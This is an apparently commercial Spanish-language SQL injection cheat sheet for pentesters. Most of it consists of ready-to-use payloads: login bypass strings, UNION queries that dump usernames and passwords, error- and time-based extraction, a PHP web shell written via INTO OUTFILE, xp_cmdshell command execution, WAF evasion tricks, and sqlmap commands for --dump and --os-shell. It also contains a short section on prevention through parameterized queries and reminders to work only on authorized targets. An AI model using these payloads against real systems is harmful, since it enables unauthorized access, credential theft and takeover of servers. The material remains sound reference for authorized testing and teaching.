¿Cuáles son los tipos de inyección SQL?

In-band: UNION-based (datos devueltos en la respuesta) y error-based (datos filtrados por mensajes de error). Ciega: boolean-based (la página difiere verdadero/falso) y time-based (el servidor se retrasa con SLEEP). Out-of-band: exfiltración por DNS/HTTP cuando no hay canal directo. Elige la técnica según la respuesta de la app.

¿Cómo funciona la inyección SQL UNION-based?

Añades un UNION SELECT para devolver datos elegidos por el atacante en la salida normal de la app. Primero encuentras el número de columnas con ORDER BY n o UNION SELECT NULL,NULL,..., identificas qué columnas se reflejan, y luego las reemplazas con datos como username, password o version().

¿Qué es la inyección SQL ciega?

La SQLi ciega ocurre cuando la app no devuelve salida ni errores, así que infieres los datos indirectamente. Boolean-based observa las diferencias verdadero/falso en la respuesta; time-based usa SLEEP() o WAITFOR DELAY para hacer que el servidor pause cuando una condición es verdadera. Ambas extraen datos carácter a carácter y se automatizan mejor con sqlmap.

Apunta sqlmap a una URL o a una petición Burp guardada: sqlmap -u 'http://site/page?id=1' --batch. Añade --dbs para listar bases, -D db --tables, -D db -T users --dump para extraer datos. Para POST o peticiones autenticadas, guarda la petición en un archivo y usa sqlmap -r request.txt. Solo contra sistemas autorizados.

¿Cómo evadir un WAF para inyección SQL?

Trucos comunes de bypass WAF: comentarios inline (/**/ en vez de espacios), variación de mayúsculas (SeLeCt), codificación URL/doble-URL, anidamiento de palabras clave (SELSELECTECT) y operadores alternativos. sqlmap tiene scripts tamper (--tamper=space2comment, between, charencode) que automatizan muchos. El bypass WAF depende mucho del contexto.

Inyección SQL — Cheatsheet 2026 (payloads & sqlmap)

Q: ¿Qué es la inyección SQL?

La inyección SQL (SQLi) es una vulnerabilidad web donde la entrada del usuario se concatena en una consulta SQL sin sanitización, permitiendo a un atacante alterar la consulta. Puede evadir la autenticación, leer o modificar datos, y a veces ejecutar comandos en el servidor. Está en el OWASP Top 10, categoría Inyección.

Q: ¿Cómo probar una inyección SQL?

Inyecta una comilla simple (') en un parámetro y observa si hay un error SQL o un cambio de comportamiento. Confirma con lógica booleana: ' OR '1'='1 versus ' AND '1'='2. Si las respuestas difieren, el parámetro es probablemente inyectable. Prueba parámetros numéricos sin comillas (ej. 1 OR 1=1). Siempre en entorno autorizado.

Q: ¿Cómo prevenir la inyección SQL?

Usa consultas parametrizadas (sentencias preparadas) para que la entrada nunca se concatene en el SQL. Añade un ORM o query builder, aplica cuentas de base de datos con mínimo privilegio, valida y usa listas blancas de entrada, y despliega un WAF como defensa en profundidad. Nunca confíes solo en el escapado. Las consultas parametrizadas son la corrección más efectiva.

# Detección

Primero confirma que el parámetro es inyectable. Rompe la consulta y luego demuestra el control con lógica booleana.

'

Una comilla simple — un error SQL o un 500 sugiere inyección

' OR '1'='1

Siempre verdadero — devuelve filas extra/todas si es inyectable

' AND '1'='2

Siempre falso — una respuesta distinta confirma el control

1 OR 1=1 -- -

Contexto numérico (sin comillas) con un comentario para matar el resto

1' ORDER BY 1-- - → ORDER BY 2, 3, ...

Incrementar hasta un error para contar las columnas

💡 Estilos de comentario: -- - (¡espacio después!), # (MySQL), /* */ (inline). Codifica en URL # como %23.

# Bypass de autenticación

Bypass de login clásico — comenta la verificación de contraseña o fuerza la cláusula WHERE a verdadero.

admin' -- -

Entrar como admin comentando la verificación de contraseña

admin' #

Misma idea con un comentario MySQL

' OR 1=1 -- -

Forzar la cláusula WHERE a verdadero → entrar como el primer usuario

' OR '1'='1' -- -

Variante con comillas equilibradas

') OR ('1'='1' -- -

Cuando la entrada está envuelta en paréntesis

# Inyección UNION-based

Devuelve tus propios datos en la respuesta. Iguala el número de columnas, encuentra las reflejadas y luego extrae.

' UNION SELECT NULL-- - → NULL,NULL-- - → ...

Añadir NULL hasta que no haya error para igualar el número de columnas

' UNION SELECT 1,2,3-- -

Usar números para ver qué columnas se reflejan en la página

' UNION SELECT NULL,version(),database()-- -

Filtrar la versión y la base actual (MySQL/PostgreSQL)

' UNION SELECT table_name,NULL FROM information_schema.tables-- -

Enumerar nombres de tablas

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

Enumerar columnas de una tabla

' UNION SELECT username,password FROM users-- -

Volcar credenciales

' UNION SELECT NULL,group_concat(username,0x3a,password) FROM users-- -

MySQL — empacar muchas filas en un solo campo

# Inyección error-based

Filtra datos dentro de los mensajes de error cuando la app muestra los errores SQL.

' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -

MySQL — filtrar vía error de función XML

' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -

MySQL — otro extractor error-based

' AND 1=CONVERT(int,(SELECT @@version))-- -

MSSQL — el error de conversión de tipo filtra la versión

' AND 1=CAST((SELECT current_database()) AS int)-- -

PostgreSQL — el error de cast filtra el nombre de la base

# Time-based ciega

Sin diferencia visible alguna — haz que el servidor pause cuando una condición es verdadera.

' AND SLEEP(5)-- -

MySQL — un retraso de 5s confirma la inyección

' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users LIMIT 1)>77,SLEEP(3),0)-- -

MySQL — retraso condicional para extraer un carácter

'; WAITFOR DELAY '0:0:5'-- -

MSSQL — retraso temporal

' AND (SELECT pg_sleep(5))-- -

PostgreSQL — retraso temporal

' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))x)-- -

MySQL — forma de subconsulta cuando SLEEP se filtra directamente

# Sintaxis por SGBD

Lo esencial difiere según el SGBD. Haz fingerprint primero, luego usa las funciones correctas.

Tarea	MySQL	MSSQL / PostgreSQL
Versión	version()	@@version / version()
Base actual	database()	DB_NAME() / current_database()
Usuario actual	user()	SYSTEM_USER / current_user
Concatenar	concat(a,b) / 0x3a	a+b / a\|\|b
Comentario	-- - o #	-- - o /* */
Sleep	SLEEP(5)	WAITFOR DELAY / pg_sleep(5)

SELECT schema_name FROM information_schema.schemata

Listar bases/esquemas (MySQL, PostgreSQL, MSSQL)

SELECT name FROM master..sysdatabases

MSSQL — listar las bases

# RCE & acceso a archivos

Escala del robo de datos a la lectura de archivos o ejecución de comandos cuando la config de la base lo permite.

' UNION SELECT LOAD_FILE('/etc/passwd')-- -

MySQL — leer un archivo (requiere el privilegio FILE)

' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php'-- -

MySQL — escribir un web shell (requiere FILE + ruta escribible)

'; EXEC xp_cmdshell 'whoami'-- -

MSSQL — ejecución de comandos si xp_cmdshell está habilitado

'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -

MSSQL — habilitar primero xp_cmdshell (requiere sysadmin)

# Bypass WAF

Cuando un WAF bloquea los payloads obvios, ofusca. Muy dependiente del contexto — prueba combinaciones.

'/**/OR/**/1=1-- -

Comentarios inline en lugar de espacios

' oR 1=1-- - / ' UnIoN SeLeCt ...

Mayúsculas mixtas para vencer los filtros de palabras clave

%2527 / %2b / doble-URL-encoding

Doble codificación URL para colarse tras los decodificadores

UNIUNIONON SELSELECTECT

Palabras clave anidadas — sobrevive a los filtros que quitan una vez

' OR 1 LIKE 1-- - / ' OR 1 BETWEEN 0 AND 2-- -

Operadores alternativos cuando = está bloqueado

# Automatización con sqlmap

Automatiza la detección y la explotación. Ejecuta siempre solo contra objetivos autorizados.

sqlmap -u "http://site/page?id=1" --batch

Detectar y explotar automáticamente un parámetro GET

sqlmap -r request.txt --batch

Usar una petición Burp guardada (POST, cookies, cabeceras)

sqlmap -u URL --dbs

Listar las bases de datos

sqlmap -u URL -D shopdb --tables

Listar las tablas de una base

sqlmap -u URL -D shopdb -T users --dump

Volcar el contenido de una tabla

sqlmap -u URL --batch --level=5 --risk=3 --tamper=space2comment

Escaneo agresivo con un script tamper de bypass WAF

sqlmap -u URL --os-shell

Intentar una shell OS interactiva vía la base de datos

❓ FAQ Inyección SQL

¿Qué es la inyección SQL? +

Una vulnerabilidad web donde la entrada del usuario se concatena en una consulta SQL sin sanitización, permitiendo al atacante alterarla — para evadir auth, leer/modificar datos o a veces ejecutar comandos. Categoría Inyección del OWASP Top 10.

¿Cómo probar una inyección SQL? +

Inyecta una comilla simple ' y observa errores. Confirma con ' OR '1'='1 vs ' AND '1'='2 — respuestas distintas = inyectable. Para params numéricos, 1 OR 1=1 sin comillas. Solo en pruebas autorizadas.

¿Cuáles son los tipos de SQLi? +

In-band: UNION-based y error-based. Ciega: boolean-based y time-based. Out-of-band: exfil vía DNS/HTTP. Elige según la respuesta de la app.

¿Cómo funciona la UNION-based? +

Añade UNION SELECT para devolver tus datos en la salida. Encuentra el número de columnas (ORDER BY n), detecta las reflejadas y reemplázalas con datos (username/password/version()).

¿Qué es la inyección ciega? +

Cuando no hay salida ni error. Boolean-based lee las diferencias verdadero/falso; time-based usa SLEEP()/WAITFOR. Ambas extraen datos carácter a carácter — mejor con sqlmap.

¿Cómo usar sqlmap? +

sqlmap -u 'URL' --batch, o sqlmap -r request.txt para POST/auth. Luego --dbs, -D db --tables, -D db -T users --dump. Solo objetivos autorizados.

¿Cómo evadir un WAF? +

Comentarios inline (/**/), variación de mayúsculas, codificación URL/doble-URL, palabras clave anidadas, operadores alternativos. Los scripts tamper de sqlmap (--tamper=space2comment) automatizan muchos. Muy dependiente del contexto.

¿Cómo prevenir la inyección SQL? +

Las consultas parametrizadas (preparadas) son la corrección n°1 — la entrada nunca se concatena en el SQL. Añade cuentas de base con mínimo privilegio, listas blancas de entrada, un ORM y un WAF como defensa en profundidad. Nunca solo el escapado.

📚 Recursos relacionados

Cheatsheet Burp Suite — Probar y automatizar la SQLi con Repeater e Intruder
Cheatsheet Reverse Shell — Convierte un web shell SQLi en un reverse shell completo
Cheatsheet de Pentesting completa — 200+ comandos para web, red, AD y privesc
Glosario de Pentesting — SQLi, XSS, WAF, payload y 60+ términos clave definidos

✨

Informe de pentest asistido por IA

Convierte tus hallazgos SQLi en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.

Probar gratis →

¿Quieres los 12 020+ comandos?

Esta cheatsheet de inyección SQL es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.

Empezar gratis →

Inyección SQL — Cheatsheet 2026

Navegación rápida

# Detección

# Bypass de autenticación

# Inyección UNION-based

# Inyección error-based

# Blind boolean-based

# Time-based ciega

# Sintaxis por SGBD

# RCE & acceso a archivos

# Bypass WAF

# Automatización con sqlmap

❓ FAQ Inyección SQL

📚 Recursos relacionados

¿Quieres los 12 020+ comandos?